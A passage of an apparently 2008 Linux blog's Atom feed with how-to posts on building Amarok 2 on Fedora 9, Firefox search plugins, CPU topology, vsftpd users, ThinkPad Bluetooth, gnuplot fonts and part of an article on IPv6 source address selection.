/&gt;On a typical Fedora 9 setup, you'd instantly hit errors. Thats because multiple devel packages are missing.&lt;br /&gt;&lt;p style="margin: 0.5em 35px; padding: 0.5em; background: rgb(228, 170, 22) none repeat scroll 0% 0%; overflow: auto; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(0, 0, 0); font-family: monospace; font-size: smaller;"&gt;&lt;br /&gt;# yum install -y kdelibs phonon* libgpod-devel prce&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;Another package that needs to be installed is libtags. Installing it via yum didnot solve the problem for me. So I had to download the code and install it from &lt;a href="http://freshmeat.net/redir/taglib/47265/url_tgz/taglib-1.5.tar.gz"&gt;here&lt;/a&gt;&lt;br /&gt;You will need libmtp. But the ones available in Fedora 9 won't help. Take ones from Fedora 10 repo from&lt;a href="ftp://rpmfind.net/linux/fedora/releases/10/Everything/x86_64/os/Packages/libmtp-0.3.3-4.fc10.i386.rpm"&gt; here&lt;/a&gt; and &lt;a href="ftp://rpmfind.net/linux/fedora/releases/10/Everything/i386/os/Packages/libmtp-devel-0.3.3-4.fc10.i386.rpm"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;During make i hit a problem, amarok couldn't file libprce and libprceposix, even though they were installed.&lt;br /&gt;&lt;p style="margin: 0.5em 35px; padding: 0.5em; background: rgb(228, 170, 22) none repeat scroll 0% 0%; overflow: auto; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(0, 0, 0); font-family: monospace; font-size: smaller;"&gt;&lt;br /&gt;# ln -s  /usr/lib/libpcreposix.so.0 /usr/lib/libpcreposix&lt;br /&gt;# ln -s /lib/libpcre.so.0  /usr/lib/libpcre.so&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;Phew!&lt;br /&gt;After all of this, trying compiling amarok again.This time everything should go smooth.&lt;br /&gt;Then do a make and make install.&lt;br /&gt;The make step takes a lot of time.&lt;br /&gt;You should be all set to use the latest and greatest Music Player i.e Amarok 2 RC1 (pun intended!)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The easy way to do this just install the rpm. Grab the beta rpm from &lt;a href="http://kushaldas.in/tmp/amarok-1.90-1.fc9.i386.rpm"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;p style="margin: 0.5em 35px; padding: 0.5em; background: rgb(228, 170, 22) none repeat scroll 0% 0%; overflow: auto; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(0, 0, 0); font-family: monospace; font-size: smaller;"&gt;&lt;br /&gt;# yum localinstall amarok-1.90-1.fc9.i386.rpm&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;The above will resolve all the necessary dependencies and install amarok 2 beta 1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="scribefire-powered"&gt;Powered by &lt;a href="http://www.scribefire.com/"&gt;ScribeFire&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-7878431671181680142?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/7878431671181680142/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/11/installing-amarok-2-betarc-on-fedora-9.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/7878431671181680142'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/7878431671181680142'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/11/installing-amarok-2-betarc-on-fedora-9.html' title='Installing Amarok 2 Beta/RC on Fedora 9'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/__DVYqd7nG8Q/SS03DCegQoI/AAAAAAAAEaM/6XRRp7a1YvA/s72-c/amarok-2-rc1-snapshot.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-7533077960965046711</id><published>2008-11-16T05:55:00.000-08:00</published><updated>2012-01-22T05:40:02.732-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='firefox'/><category scheme='http://www.blogger.com/atom/ns#' term='lkml'/><category scheme='http://www.blogger.com/atom/ns#' term='custom search'/><title type='text'>Custom Search in Firefox</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;Firefox allows users to custom search (Top Right Corner) certain websites which have built in search capabilities like Wikipedia, Amazon etc.&lt;br /&gt;&lt;br /&gt;How does one go about adding a custom search to a site without inherent search capabilities like eg. lkml.org ?&lt;br /&gt;&lt;br /&gt;Assuming you are in your home directory.&lt;br /&gt;&lt;p style="margin: 0.5em 35px; padding: 0.5em; background: rgb(228, 170, 22) none repeat scroll 0% 0%; overflow: auto; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(0, 0, 0); font-family: monospace; font-size: smaller;"&gt;&lt;br /&gt;[cheezo@phaedrus ~]$ pwd&lt;br /&gt;/home/cheezo&lt;br /&gt;[cheezo@phaedrus ~]$ cd `find .mozilla/ -name 'searchplugins' `&lt;br /&gt;&lt;br /&gt;[cheezo@phaedrus searchplugins]$ ls&lt;br /&gt;goosh.xml  imdb.xml  linkedin.xml  lkml.xml &lt;br /&gt;&lt;/p&gt;&lt;br /&gt;Here there are already some xml files for those custom search engines.&lt;br /&gt;lkml.xml is the file of our interest, lets have a look&lt;br /&gt;&lt;p style="margin: 0.5em 35px; padding: 0.5em; background: rgb(228, 170, 22) none repeat scroll 0% 0%; overflow: auto; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: rgb(0, 0, 0); font-family: monospace; font-size: smaller;"&gt;&lt;br /&gt;[cheezo@phaedrus searchplugins]$ cat lkml.xml&lt;br /&gt;&lt;br /&gt;&amp;lt;SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/"&amp;gt;&lt;br /&gt;&amp;lt;ShortName&amp;gt;Google&amp;lt;/ShortName&amp;gt;&lt;br /&gt;&amp;lt;Description&amp;gt;Google Search&lt;br /&gt;&amp;lt;InputEncoding&amp;gt;UTF-8&lt;br /&gt;&amp;lt;Url type="application/x-suggestions+json" method="GET" template="http://www.google.com/custom?sitesearch=lkml.org&amp;amp;;client=firefox&amp;amp;hl={moz:locale}&amp;amp;q={searchTerms}"/&amp;gt;&lt;br /&gt;&amp;lt;Url type="text/html" method="GET" template="http://www.google.com/search"&amp;gt;&lt;br /&gt; &amp;lt;Param name="q" value="{searchTerms}"/&amp;gt;&lt;br /&gt; &amp;lt;Param name="ie" value="utf-8"/&amp;gt;&lt;br /&gt; &amp;lt;Param name="oe" value="utf-8"/&amp;gt;&lt;br /&gt; &amp;lt;Param name="aq" value="t"/&amp;gt;&lt;br /&gt;&lt;br /&gt; &amp;lt;Param name="rls" value="{moz:distributionID}:{moz:locale}:{moz:official}"/&amp;gt;&lt;br /&gt; &amp;lt;MozParam name="client" condition="defaultEngine" trueValue="firefox-a" falseValue="firefox"/&amp;gt;&lt;br /&gt;&amp;lt;/Url&amp;gt;&lt;br /&gt;&amp;lt;SearchForm&amp;gt;http://www.google.com/firefox&lt;br /&gt;&amp;lt;/SearchPlugin&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;On the 5th line, we have template="http://www.google.com/custom?sitesearch=site_name". Here site_name = lkml.org. Incase you want to search any other site, replace site_name with that site.&lt;br /&gt;&lt;br /&gt;Other terms are self-explanatory.&lt;br /&gt;To ensure a new search engine option shows in Firefox; Firefox needs to be rebooted.&lt;br /&gt;&lt;br /&gt;Note:This is my first post which experiments with Cascading Style Sheets (CSS).&lt;br /&gt;&lt;br /&gt;&lt;p class="scribefire-powered"&gt;Powered by &lt;a href="http://www.scribefire.com/"&gt;ScribeFire&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-7533077960965046711?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/7533077960965046711/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/11/custom-search-in-firefox.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/7533077960965046711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/7533077960965046711'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/11/custom-search-in-firefox.html' title='Custom Search in Firefox'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-555788914872086303</id><published>2008-11-15T01:01:00.000-08:00</published><updated>2012-01-22T05:40:02.829-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/proc'/><category scheme='http://www.blogger.com/atom/ns#' term='multi-core'/><category scheme='http://www.blogger.com/atom/ns#' term='topology'/><title type='text'>Finding out processor topology</title><content type='html'>The other day Varun and I were discussing about how we could find out the system multi-threaded/multi-core topology. We looked at /proc/cpuinfo and got our answer. So the following fields in the cpuinfo file would need to be consulted to understand the topology of the system:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;physical id&lt;/span&gt;: physical package id of the CPU&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;siblings&lt;/span&gt;: number of processors, present in the same physical package. This counts both hardware threads and cores&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;core id:&lt;/span&gt; Core id of the processor&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;cpu cores:&lt;/span&gt; number of cores in the physical package&lt;br /&gt;&lt;br /&gt;Also, the  &lt;span style="font-weight: bold;"&gt;flags &lt;/span&gt;field contains a flag called "&lt;span style="font-weight: bold;"&gt;ht&lt;/span&gt;", to indicate if hardware multi-threading is supported by the processor&lt;br /&gt;&lt;br /&gt;So, if for a physical package, the number of siblings is equal to the number of cores and both are greater than 2, it would mean that it has multiple cores and does not  support hardware threads. If the number of siblings is greater than 2 but the number of cores is one, then that would imply that there is only a single core in one package and that there is support for hardware threads. Some systems could have processors that are both, multi-threaded and ulti-core. For these, the number of siblings and the number of cores in a physical package would be more than one.&lt;br /&gt;&lt;br /&gt;The topology information can be very useful. It can be used to bind certain application or kernel threads, and/or irqs to particular cpus, to improve throughput by reducing resource contention and aid the scheduler in making better load balancing decisions.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-555788914872086303?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/555788914872086303/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/11/finding-out-processor-topology.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/555788914872086303'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/555788914872086303'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/11/finding-out-processor-topology.html' title='Finding out processor topology'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-46475253709118219</id><published>2008-11-04T19:31:00.000-08:00</published><updated>2012-01-22T05:40:02.925-08:00</updated><title type='text'>Funny Pull Request @ netdev</title><content type='html'>&lt;pre wrap=""&gt;From: "John W. Linville" &lt;a class="moz-txt-link-rfc2396E" href="mailto:linville@tuxdriver.com"&gt;&lt;linville@tuxdriver.com&gt;&lt;/a&gt;&lt;br /&gt;Date: Fri, 31 Oct 2008 19:37:35 -0400&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;blockquote type="cite"&gt;&lt;pre wrap=""&gt;&lt;span class="moz-txt-citetags"&gt;&gt; &lt;/span&gt;Here is a spooky Halloween pull request for wireless bits intended for&lt;br /&gt;&lt;span class="moz-txt-citetags"&gt;&gt; &lt;/span&gt;2.6.29 -- Boo!  Are you scared?&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;pre wrap=""&gt;&lt;!----&gt;&lt;br /&gt;Best pull request ever &lt;span class="moz-smiley-s1"&gt;&lt;span&gt; :-) &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;blockquote type="cite"&gt;&lt;pre wrap=""&gt;&lt;span class="moz-txt-citetags"&gt;&gt; &lt;/span&gt;There is a ton of stuff here.  The good news is that it has been cooking&lt;br /&gt;&lt;span class="moz-txt-citetags"&gt;&gt; &lt;/span&gt;in wireless-testing for a while and it seems OK. &lt;span class="moz-smiley-s1"&gt;&lt;span&gt; :-) &lt;/span&gt;&lt;/span&gt;  There are some&lt;br /&gt;&lt;span class="moz-txt-citetags"&gt;&gt; &lt;/span&gt;warning in the build like "‘__IEEE80211_CONF_SHORT_SLOT_TIME’ is&lt;br /&gt;&lt;span class="moz-txt-citetags"&gt;&gt; &lt;/span&gt;deprecated".  Don't worry, I already have more patches cooking in&lt;br /&gt;&lt;span class="moz-txt-citetags"&gt;&gt; &lt;/span&gt;wireless-testing that will take care of those warnings in the next&lt;br /&gt;&lt;span class="moz-txt-citetags"&gt;&gt; &lt;/span&gt;round.&lt;br /&gt;&lt;span class="moz-txt-citetags"&gt;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="moz-txt-citetags"&gt;&gt; &lt;/span&gt;Please let me know if there are problems!&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;pre wrap=""&gt;&lt;!----&gt;&lt;br /&gt;Pulled, thanks a lot!&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-46475253709118219?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/46475253709118219/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/11/funny-pull-request-netdev.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/46475253709118219'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/46475253709118219'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/11/funny-pull-request-netdev.html' title='Funny Pull Request @ netdev'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-6332874241338426723</id><published>2008-09-16T01:40:00.000-07:00</published><updated>2012-01-22T05:40:03.022-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='vsftpd'/><title type='text'>Adding New Users To vsftpd</title><content type='html'>I found it rather strange that there arent any good tutorial that can explain how to add new users to vftpd. Google gives few results but most of them are trial and error method. So i decided to write this post after spending 1 hr trying to accomplish this simple task.&lt;br /&gt;&lt;br /&gt;#edit /etc/vsftpd.conf or /opt/etc/vsftpd.conf&lt;br /&gt;Open the vsftpd.conf file and search for chroot_list_enable=YES&lt;br /&gt;Make sure it is YES. Do the same for the following variables&lt;br /&gt;chroot_list_file=/etc/vsftpd.chroot_list or /opt/etc/vsftpd.chroot_list&lt;br /&gt;chroot_list_enable=YES&lt;br /&gt;Save and close the file&lt;br /&gt;&lt;br /&gt;Create vsftpd.chroot_list in /etc/ or /opt/etc/&lt;br /&gt;Add the username you want to export to ftp.&lt;br /&gt;IMP: The user must already be a system user with a valid passwd. You must be able to find /home/&lt;username&gt;&lt;br /&gt;If the user you want to add is not a system user then create that user first before editing the above file.&lt;br /&gt;#adduser &lt;username&gt;&lt;br /&gt;#passwd &lt;username&gt;&lt;br /&gt;&lt;br /&gt;Restart the vsftpd server using /etc/init.d/vsftpd restart or service vsftpd restart&lt;br /&gt;Now you can log into ftp using the new user.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-6332874241338426723?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/6332874241338426723/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/09/adding-new-users-to-vsftpd.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/6332874241338426723'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/6332874241338426723'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/09/adding-new-users-to-vsftpd.html' title='Adding New Users To vsftpd'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-6191364090565421387</id><published>2008-09-11T02:34:00.000-07:00</published><updated>2012-01-22T05:40:03.121-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bluetooth'/><category scheme='http://www.blogger.com/atom/ns#' term='fedora'/><category scheme='http://www.blogger.com/atom/ns#' term='thinkpads'/><category scheme='http://www.blogger.com/atom/ns#' term='ibm'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='lenovo'/><title type='text'>Toggling Bluetooth in IBM/Lenovo Thinkpads</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Toggling the Bluetooth device on/off is very easy on IBM/Lenovo Thinkpads&lt;br/&gt;&lt;br/&gt;&lt;b&gt;$cat /proc/acpi/ibm/bluetooth &lt;/b&gt;&lt;br/&gt;status:        disabled&lt;br/&gt;commands:    enable, disable&lt;br/&gt;The following commands active and deactivate bluetooth.&lt;br/&gt;&lt;br/&gt;$&lt;b&gt;echo "enable" &amp;gt; /proc/acpi/ibm/bluetooth&lt;br/&gt;&lt;br/&gt;&lt;/b&gt;$&lt;b&gt;echo "disable" &amp;gt; /proc/acpi/ibm/bluetooth&lt;/b&gt;&lt;br/&gt;&lt;br/&gt;This works for both Fedora and Ubuntu.&lt;br/&gt;&lt;p class='scribefire-powered'&gt;Powered by &lt;a href='http://www.scribefire.com/'&gt;ScribeFire&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-6191364090565421387?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/6191364090565421387/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/09/toggling-bluetooth-in-ibmlenovo.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/6191364090565421387'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/6191364090565421387'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/09/toggling-bluetooth-in-ibmlenovo.html' title='Toggling Bluetooth in IBM/Lenovo Thinkpads'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-4392582990666881191</id><published>2008-09-11T02:31:00.000-07:00</published><updated>2012-01-22T05:40:03.216-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='png'/><category scheme='http://www.blogger.com/atom/ns#' term='gnuplot'/><category scheme='http://www.blogger.com/atom/ns#' term='fonts'/><title type='text'>Setting fonts for gnuplot</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Gnuplot is very useful tool to plot graphs and other related things.&lt;br/&gt;There are plently of tutorials and how-tos everywhere.&lt;br/&gt;&lt;br/&gt;One issue i faced while generating &lt;b&gt;png&lt;/b&gt; images was changing fonts.&lt;br/&gt;&lt;br/&gt;I wanted to change the font type to "&lt;b&gt;vera&lt;/b&gt;" and increase the size. &lt;br/&gt;&lt;br/&gt;First check if this font is installed.&lt;br/&gt;&lt;br/&gt;&lt;b&gt;$yum install bitstream-vera-font&lt;/b&gt; &lt;br/&gt;&lt;br/&gt;Search for where it is installed&lt;br/&gt;&lt;br/&gt;&lt;b&gt;$rpm -ql bitstream-vera-font &lt;/b&gt;&lt;br/&gt;&lt;br/&gt;/usr/share/fonts/bitstream-vera&lt;br/&gt;&lt;br/&gt;&lt;b&gt;$export GDFONTPATH=/usr/share/fonts/bitstream-vera&lt;/b&gt;&lt;br/&gt;&lt;br/&gt;Now in either on the gnuplot terminal or your script file just add this.&lt;br/&gt;&lt;br/&gt;&lt;b&gt;set terminal png truecolor nocrop enhanced font Vera 20&lt;/b&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;p class='scribefire-powered'&gt;Powered by &lt;a href='http://www.scribefire.com/'&gt;ScribeFire&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-4392582990666881191?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/4392582990666881191/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2008/09/setting-fonts-for-gnuplot.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/4392582990666881191'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/4392582990666881191'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2008/09/setting-fonts-for-gnuplot.html' title='Setting fonts for gnuplot'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-3530882244407497473</id><published>2008-07-26T04:54:00.000-07:00</published><updated>2012-01-22T05:40:03.314-08:00</updated><title type='text'>Default Address Selection Part 2</title><content type='html'>Finally i was able to find time to finish off the long awaited squeal. In this article i would like to give an insight into kernel algorithm implementation of the same. The diagrams in this article are personally drawn by me using primitive tools :-). Please ignore the poor quality.&lt;br /&gt;&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;br /&gt;So before we proceed i would like to alert the readers that i would not be covering the full address selection algorithm. The Default Address Selection is mainly divided into&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Source Address Selection (kernel)&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Destination Address Selection (glibc - getaddrinfo())&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;This article will mainly concentrates on source address selection done in the kernel. So we will assume that destination address selection is already done and we will concentrate on source address selection. The picture below shows a very broad flow diagram of destination address selection.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_yWIW9H6R1sc/SIsYvcbZCxI/AAAAAAAAADM/0Xzfj-_YAvA/s1600-h/snapshot5.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_yWIW9H6R1sc/SIsYvcbZCxI/AAAAAAAAADM/0Xzfj-_YAvA/s400/snapshot5.png" alt="" id="BLOGGER_PHOTO_ID_5227298995857591058" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;From the flow chart it is clear that destination address selection is done using glibc. The reason for this is the fact that an application must decide on destination address before it hits the network stack. For example, a browser (app) can either connect via an ip address or via a internet address (google.com) which has to be resolved using DNS. If its the later case then there are chances that DNS request can return multiple ip addresses. If this is the case then sorting will have to be done in the dns resolution call. Once the destination address is selected the "packet framing" request hits the kernel as shown in the flow chart. The kernel then looks up the route table (forward information base [FIB]) to figure out the route to the destination address. If there is no valid entry in the table, an error is returned to the calling application stating "No Route To Host". If we hit the bullseye in the route lookup, then the kernel needs to find appropriate source address. This is done in the call fib6_rule_action(). This ends the destination address selection par&lt;u&gt;&lt;b&gt;t.&lt;br /&gt;&lt;br /&gt;Source Address Selection Algorithm:&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;In the function fib6_rule_action( ), the source address lookup function ipv6_get_saddr( ) is called. It is at this stage we start analysing the algorithm. The flow chart shown below explains the code flow.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_yWIW9H6R1sc/SIsY_AWr3TI/AAAAAAAAADU/DqFSDsUoYRk/s1600-h/snapshot6.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_yWIW9H6R1sc/SIsY_AWr3TI/AAAAAAAAADU/DqFSDsUoYRk/s400/snapshot6.png" alt="" id="BLOGGER_PHOTO_ID_5227299263199567154" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As seen, the flow chart is divided into two small parts to make explaination easier. The algorithm starts off with initializations for type, scope and label of destination address. This is required to compare the value against the equivalent value of candidate source address. The candidate source address list refers to all the ipv6 address across all the interfaces of the system.&lt;br /&gt;&lt;br /&gt;We now have a source address set, and from this list the correct source address has to be finalized. A scoring machanism is maintained for each address to finially pick the winner. The address with highest score will become the chosen candidate. The scores are made based on passing each rule. Each rules as per the order is explained below. Remember, as we pass on from each rule, we keep droping candidates from the candidate set, so as to eventually arrive at the right source address.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Rule 0:&lt;/b&gt; &lt;b&gt;Localize source candidate set for destination address which is link/site-local&lt;/b&gt;.&lt;br /&gt;This means if the destination address is either a linklocal or a site local address, then the source address must be selected from the same link as the outgoing interface. This reduces the posibility of any global address being assigned as source address for a destination address that is linklocal.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Rule 1:&lt;/b&gt; &lt;b&gt;Prefer Same Address&lt;/b&gt;. If the source address is equal to the destination address, select that address as the preferred address.&lt;br /&gt;&lt;b&gt;Eg:&lt;br /&gt;&lt;/b&gt;SA: 2001::1&lt;br /&gt;SB: 2001::2&lt;br /&gt;Dest Address : 2001::1&lt;br /&gt;&lt;b&gt;Select: 2001::1&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Rule 2: Prefer Same Scope&lt;/b&gt;. Select the source address with higer scope than the destination address.&lt;br /&gt;&lt;b&gt;Eg:&lt;/b&gt;&lt;br /&gt;If Scope(SA) &amp;lt; Scope(SB) : If Scope(SA) &amp;lt; Scope(D), prefer SB&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_yWIW9H6R1sc/SIsZKqWTZEI/AAAAAAAAADc/AYZKa0Z8D8I/s1600-h/snapshot7.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_yWIW9H6R1sc/SIsZKqWTZEI/AAAAAAAAADc/AYZKa0Z8D8I/s400/snapshot7.png" alt="" id="BLOGGER_PHOTO_ID_5227299463450813506" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Rule 3:  Avoid Deprecated Address&lt;/b&gt;. In a group of 2 candidate source address with equal scope, one is found to be deprecated, avoid that address.&lt;br /&gt;&lt;b&gt;Eg:&lt;/b&gt;&lt;br /&gt;Src Address 1 : 2001::1&lt;br /&gt;Src Address 2 : 2001::2 (deprecated)&lt;br /&gt;&lt;b&gt;Select :: 2001::1&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Rule 